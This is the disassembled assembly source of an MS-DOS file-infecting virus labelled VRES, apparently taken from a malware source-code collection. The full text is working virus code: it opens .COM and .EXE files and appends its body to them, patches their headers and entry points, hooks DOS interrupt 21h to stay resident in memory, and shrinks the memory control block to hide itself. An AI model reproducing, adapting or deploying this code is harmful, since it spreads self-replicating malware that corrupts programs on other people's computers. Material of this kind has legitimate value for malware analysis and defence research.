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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.1575.asm

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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> VRES <20><>
;<3B><> <20><>
;<3B><> Created: 4-Jan-92 <20><>
;<3B><> Passes: 5 Analysis Flags on: H <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
data_1e equ 12Bh
data_2e equ 137h
data_3e equ 139h
data_4e equ 13Bh
data_5e equ 27Dh
data_6e equ 5CDh
data_7e equ 724h
data_8e equ 6B0h
data_9e equ 3
data_10e equ 12h
seg_a segment
assume cs:seg_a, ds:seg_a
org 100h
vres proc far
start:
push cs
mov ax,cs
data_11 dw 105h
data_12 dw 5000h
data_13 dw 0B8h
data_14 dw 5001h
db 0CBh, 0
data_15 dw 0
data_16 dw 0EB00h
db 4Ah, 90h
data_17 dw 1460h
db 74h, 2, 53h, 0FFh
data_18 dw 0F000h
data_19 dw 3B8h
db 0, 0CDh
data_20 dw 0CD10h
data_21 dw 20h
data_22 dw 20h
data_23 dw 11h
data_24 dw 0FFFFh
data_25 dw 4
data_26 dw 100h
data_27 dw 674Fh
data_28 dw 100h
data_29 dw 4
data_30 dw 0
data_31 dw 0
data_32 dw 0
data_33 dw 340h
data_34 db 5
db 0, 8Ah, 43h, 0B7h, 9Ah, 14h
db 0, 0, 1, 71h, 0Dh, 8Eh
db 0Ch, 56h, 5, 1, 0EAh, 56h
db 74h, 2, 5Ch, 7, 70h, 0
loc_1:
push ss
add al,al
or bx,[si+7]
jo loc_2 ; Jump if overflow=1
loc_2:
push es
push ds
mov ax,es
push cs
pop ds
push cs
pop es
mov data_31,ax
mov ax,ss
mov data_26,ax
mov al,2
out 20h,al ; port 20h, 8259-1 int command
cld ; Clear direction
xor ax,ax ; Zero register
mov ds,ax
xor si,si ; Zero register
mov di,13Ch
mov cx,10h
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
push ds
pop ss
mov bp,8
xchg bp,sp
call sub_1 ; (01D5)
jmp loc_24 ; (0552)
loc_3:
call sub_12 ; (05EC)
call sub_2 ; (023D)
jz loc_4 ; Jump if zero
mov al,ds:data_7e
push ax
call sub_3 ; (02AE)
pop ax
mov ds:data_7e,al
jmp short loc_5 ; (01B4)
db 90h
loc_4:
call sub_5 ; (041B)
call sub_6 ; (043D)
cmp byte ptr ds:data_7e,0
jne loc_5 ; Jump if not equal
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_5:
cmp byte ptr ds:data_7e,43h ; 'C'
jne loc_8 ; Jump if not equal
loc_6:
pop ds
pop es
push cs
pop ds
pop es
push es
mov di,100h
mov si,10Bh
mov cx,0Ch
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
push es
pop ds
mov ax,100h
push ax
xor ax,ax ; Zero register
retf ; Return far
vres endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_1 proc near
mov si,6
lodsw ; String [si] to ax
cmp ax,192h
je loc_6 ; Jump if equal
cmp ax,179h
jne loc_7 ; Jump if not equal
jmp loc_10 ; (028F)
loc_7:
cmp ax,1DCh
je loc_8 ; Jump if equal
retn
loc_8:
pop ds
pop es
mov bx,cs:data_18
sub bx,cs:data_29
mov ax,cs
sub ax,bx
mov ss,ax
mov bp,cs:data_30
xchg bp,sp
mov bx,cs:data_21
sub bx,cs:data_22
mov ax,cs
sub ax,bx
push ax
mov ax,cs:data_23
push ax
retf ; Return far
db 23h, 1Ah
db '<#/--!.$'
db 0Eh, 23h, 2Fh, 2Dh, 0E0h
db 'D:VRES.COM'
db 0, 58h, 45h, 0, 0
db 24h, 24h, 24h, 24h, 24h
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_2:
mov ax,3D02h
mov dx,219h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_9 ; Jump if carry=0
clc ; Clear carry flag
retn
loc_9:
mov ds:data_1e,ax
mov dx,673h
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,4202h
mov bx,ds:data_1e
mov cx,0FFFFh
mov dx,0FFFEh
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,27Dh
mov ah,3Fh ; '?'
mov bx,ds:data_1e
mov cx,2
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push ds
mov dx,ds:data_3e
mov ax,ds:data_2e
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
cmp word ptr ds:data_5e,0A0Ch
clc ; Clear carry flag
retn
db 0CDh, 20h
loc_10:
cmp ax,22Dh
je loc_11 ; Jump if equal
push ds
pop es
push cs
pop ds
mov ax,data_26
mov ss,ax
xchg bp,sp
mov si,13Ch
mov di,0
mov cx,10h
cld ; Clear direction
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
jmp loc_3 ; (018C)
sub_1 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_3 proc near
loc_11:
mov al,43h ; 'C'
mov ds:data_7e,al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov ds:data_4e,al
mov dx,219h
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_12 ; Jump if carry=0
retn
loc_12:
mov ds:data_1e,ax
mov dx,10Bh
mov bx,ds:data_1e
mov cx,0Ch
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
push ax
add ax,10h
and ax,0FFF0h
push ax
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
mov di,31Fh
stosw ; Store ax to es:[di]
pop ax
pop bx
sub ax,bx
mov cx,627h
add cx,ax
mov dx,100h
sub dx,ax
mov bx,ds:data_1e
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov ah,40h ; '@'
mov bx,ds:data_1e
mov cx,0Ch
mov dx,31Bh
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,3Eh ; '>'
mov bx,ds:data_1e
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_3 endp
db 0Eh, 8Ch, 0C8h, 5, 1, 0
db 50h, 0B8h, 0, 1, 50h, 0CBh
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_4 proc near
mov al,45h ; 'E'
mov byte ptr ds:[724h],al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov data_34,al
mov dx,219h
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_13 ; Jump if carry=0
retn
loc_13:
mov data_26,ax
mov dx,10Bh
mov bx,data_26
mov cx,18h
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov ax,4202h
mov cx,0
mov dx,0
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
push ax
add ax,10h
adc dx,0
and ax,0FFF0h
mov data_24,dx
mov data_25,ax
mov cx,727h
sub cx,100h
add ax,cx
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
inc ax
mov data_16,ax
mov data_15,dx
mov ax,data_21
mov data_22,ax
mov ax,data_20
mov data_23,ax
mov ax,data_18
mov data_29,ax
mov ax,data_19
mov data_30,ax
mov dx,data_24
mov ax,data_25
mov cx,10h
div cx ; ax,dx rem=dx:ax/reg
sub ax,10h
sub ax,data_17
mov data_21,ax
mov data_18,ax
mov data_20,100h
mov data_19,100h
mov ax,4200h
xor cx,cx ; Zero register
mov dx,2
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,10Dh
mov bx,data_26
mov cx,16h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,100h
mov ax,data_25
pop cx
sub ax,cx
sub dx,ax
mov cx,727h
add cx,ax
sub cx,100h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_4 endp
db 51h, 0B9h, 0, 0, 0B4h, 4Eh
db 0CDh, 21h, 59h, 0C3h
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_5 proc near
push es
mov ax,351Ch
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov cs:data_13,bx
mov cs:data_14,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
push es
pop ax
mov cs:data_12,ax
mov cs:data_11,bx
pop es
retn
sub_5 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_6 proc near
push ax
push es
push ds
xor ax,ax ; Zero register
mov es,ax
mov si,86h
mov ax,es:[si]
mov ds,ax
mov si,725h
cmp word ptr [si],0A0Ch
jne loc_14 ; Jump if not equal
push ds
pop ax
call sub_13 ; (0611)
pop ds
pop es
pop ax
retn
loc_14:
push cs
pop ds
mov ax,data_31
dec ax
mov es,ax
cmp byte ptr es:[0],5Ah ; 'Z'
je loc_15 ; Jump if equal
jmp short loc_16 ; (04B4)
db 90h
loc_15:
mov ax,es:data_9e
mov cx,737h
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
sub ax,cx
jc loc_16 ; Jump if carry Set
mov es:data_9e,ax
sub es:data_10e,cx
push cs
pop ds
mov ax,es:data_10e
push ax
pop es
mov si,100h
push si
pop di
mov cx,627h
cld ; Clear direction
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
push es
sub ax,ax
mov es,ax
mov si,84h
mov dx,4A8h
mov es:[si],dx
inc si
inc si
pop ax
mov es:[si],ax
loc_16:
pop ds
pop es
pop ax
retn
sub_6 endp
db 3Ch, 57h, 75h, 3, 0EBh, 1Eh
db 90h, 80h, 0FCh, 1Ah, 75h, 6
db 0E8h, 17h, 1, 0EBh, 13h, 90h
loc_17:
cmp ah,11h
jne loc_18 ; Jump if not equal
call sub_7 ; (04E1)
iret ; Interrupt return
loc_18:
cmp ah,12h
jne loc_19 ; Jump if not equal
call sub_10 ; (059C)
iret ; Interrupt return
loc_19:
jmp dword ptr cs:data_11
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_7 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
mov byte ptr cs:data_35,0
nop
call sub_8 ; (0514)
jnz loc_20 ; Jump if not zero
call sub_2 ; (023D)
jz loc_20 ; Jump if zero
call sub_15 ; (065A)
dec byte ptr ds:data_6e
loc_20:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_7 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_8 proc near
push cs
pop es
push cs
pop es
cld ; Clear direction
call sub_9 ; (0552)
jnc loc_21 ; Jump if carry=0
cmp di,0
retn
loc_21:
mov di,219h
mov al,2Eh ; '.'
mov cx,0Bh
repne scasb ; Rept zf=0+cx>0 Scan es:[di] for al
cmp word ptr [di],4F43h
jne loc_22 ; Jump if not equal
cmp byte ptr [di+2],4Dh ; 'M'
jne loc_22 ; Jump if not equal
mov byte ptr ds:[724h],43h ; 'C'
nop
retn
loc_22:
cmp word ptr [di],5845h
jne loc_ret_23 ; Jump if not equal
cmp byte ptr [di+2],45h ; 'E'
jne loc_ret_23 ; Jump if not equal
mov byte ptr ds:[724h],45h ; 'E'
nop
loc_ret_23:
retn
sub_8 endp
